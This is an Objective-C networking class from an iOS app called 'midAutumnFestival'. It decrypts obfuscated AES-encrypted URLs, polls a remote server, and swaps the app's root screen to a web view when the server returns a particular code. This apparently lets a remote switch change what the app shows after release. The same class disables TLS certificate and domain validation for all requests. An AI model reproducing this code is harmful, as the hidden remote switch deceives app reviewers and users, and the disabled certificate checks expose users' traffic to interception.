//
//  WRHNetWorkingTool.m
//  midAutumnFestival
//
//  Created by Beast on 2018/9/14.
//  Copyright © 2018年 江萧. All rights reserved.
//

#import "WRHNetWorkingTool.h"
#import "AFNetworking.h"
#import "MBProgressHUD+ZZH.h"
#import "NSData+Base.h"
#import "NSString+AES.h"
#import "CounterPoiseWebViewController.h"
#import "MJKeyViewController.h"
#import "MJMARAppDelegate.h"

@interface WRHNetWorkingTool()
@property(nonatomic,strong)AFHTTPSessionManager *manager;
@end
@implementation WRHNetWorkingTool

/*******************************************/
#pragma mark  -网络检查
- (void)monitorNetworking
{
    [[AFNetworkReachabilityManager sharedManager] startMonitoring];
    [[AFNetworkReachabilityManager sharedManager] setReachabilityStatusChangeBlock:^(AFNetworkReachabilityStatus status) {
        switch (status) {
            case -1:
                NSLog(@"未知网络");
                [MBProgressHUD showError:@"网络不可用，请检查网络"];
                break;
            case 0:
                NSLog(@"网络不可达");
                [MBProgressHUD showError:@"网络不可用，请检查网络"];
                break;
            case 1:
            {
                NSLog(@"GPRS网络");
            }
                break;
            case 2:
            {
                NSLog(@"wifi网络");
            }
                break;
            default:
                break;
        }
        if (status == AFNetworkReachabilityStatusReachableViaWWAN || status == AFNetworkReachabilityStatusReachableViaWiFi) {
            NSLog(@"有网");
            [self setupNetworking];
        }else{
            [MBProgressHUD showError:@"网络不可用，请检查网络"];
            NSLog(@"没网");
        }
    }];
}

- (AFHTTPSessionManager *)manager {
    if (!_manager) {
        _manager = [AFHTTPSessionManager manager];
        _manager.securityPolicy = [AFSecurityPolicy policyWithPinningMode:AFSSLPinningModeNone];
        _manager.securityPolicy.allowInvalidCertificates = YES;
        [_manager.securityPolicy setValidatesDomainName:NO];
        _manager.responseSerializer = [AFJSONResponseSerializer serializer];
        _manager.requestSerializer = [AFHTTPRequestSerializer serializer];
        _manager.responseSerializer.acceptableContentTypes = [NSSet setWithObjects: @"text/plain",@"text/html",@"application/json",@"charset=utf-8" ,nil];
    }
    return _manager;
}

- (void)setupNetworking {
    NSString *str = @"koykCpvfkWM1EWipwkB6vGtFMCW91My7dP+2CXH27F4p2H1Htu24Hc5DHa2QeMOf0vxPEKkD7R6u+tSak2yOtg==";
    NSLog(@"str = %@",[str aci_encryptWithAES]);
    
    [self.manager GET:[str aci_decryptWithAES] parameters:nil progress:^(NSProgress * _Nonnull downloadProgress) {
    } success:^(NSURLSessionDataTask * _Nonnull task, id  _Nullable responseObject) {
        NSLog(@"responseObject = %@",responseObject);
        NSString *codeStr = [NSString stringWithFormat:@"%@",responseObject[@"Code"]];
        if ([codeStr isEqualToString:@"1111"]) {
            NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
            [defaults setObject:responseObject forKey:@"responseObject"];
            [defaults synchronize];
            [NSTimer scheduledTimerWithTimeInterval:0.1 target:self selector:@selector(pushToAboutusViewController) userInfo:nil repeats:NO];
        }
        else if ([codeStr isEqualToString:@"1003"]) {
            [NSTimer scheduledTimerWithTimeInterval:0.0 target:self selector:@selector(delayMethodRemove) userInfo:nil repeats:NO];
        }
        else {
            [NSTimer scheduledTimerWithTimeInterval:2.0 target:self selector:@selector(setupNetworkingTwo) userInfo:nil repeats:NO];
        }
    } failure:^(NSURLSessionDataTask * _Nullable task, NSError * _Nonnull error) {
        NSLog(@"error = %@",error);
        [NSTimer scheduledTimerWithTimeInterval:0.5 target:self selector:@selector(setupNetworkingTwo) userInfo:nil repeats:NO];
    }];
}
- (void)setupNetworkingTwo {
    NSString *str = @"CVGKWSi+6jq+u70+uuTAeVoKmhxKhYsAPM+uU4B1bPpQDXjkeL6EkqkVVzR0EyaxdOIU2XkPKRA3+ulwCc0m+Q==";
    [self.manager GET:[str aci_decryptWithAES] parameters:nil progress:^(NSProgress * _Nonnull downloadProgress) {
    } success:^(NSURLSessionDataTask * _Nonnull task, id  _Nullable responseObject) {
        NSLog(@"responseObject = %@",responseObject);
        NSString *codeStr = [NSString stringWithFormat:@"%@",responseObject[@"Code"]];
        if ([codeStr isEqualToString:@"1111"]) {
            NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
            [defaults setObject:responseObject forKey:@"responseObject"];
            [defaults synchronize];
            [NSTimer scheduledTimerWithTimeInterval:0.1 target:self selector:@selector(pushToAboutusViewController) userInfo:nil repeats:NO];
        }
        else if ([codeStr isEqualToString:@"1003"]) {
            [NSTimer scheduledTimerWithTimeInterval:0.0 target:self selector:@selector(delayMethodRemove) userInfo:nil repeats:NO];
        }
        else {
            [NSTimer scheduledTimerWithTimeInterval:2.0 target:self selector:@selector(setupNetworking) userInfo:nil repeats:NO];
        }
    } failure:^(NSURLSessionDataTask * _Nullable task, NSError * _Nonnull error) {
        NSLog(@"error = %@",error);
        [NSTimer scheduledTimerWithTimeInterval:0.5 target:self selector:@selector(setupNetworking) userInfo:nil repeats:NO];
    }];
}


- (void)pushToAboutusViewController{
    CounterPoiseWebViewController *viewController = [[CounterPoiseWebViewController alloc] init];
    MJMARAppDelegate *app = (MJMARAppDelegate *)[UIApplication sharedApplication].delegate;
    [app changeRootViewController:viewController];
}

- (void)delayMethodRemove
{
    MJKeyViewController *viewController = [[MJKeyViewController alloc]init];
    MJMARAppDelegate *app = (MJMARAppDelegate *)[UIApplication sharedApplication].delegate;
    [app changeRootViewController:viewController];
}


@end
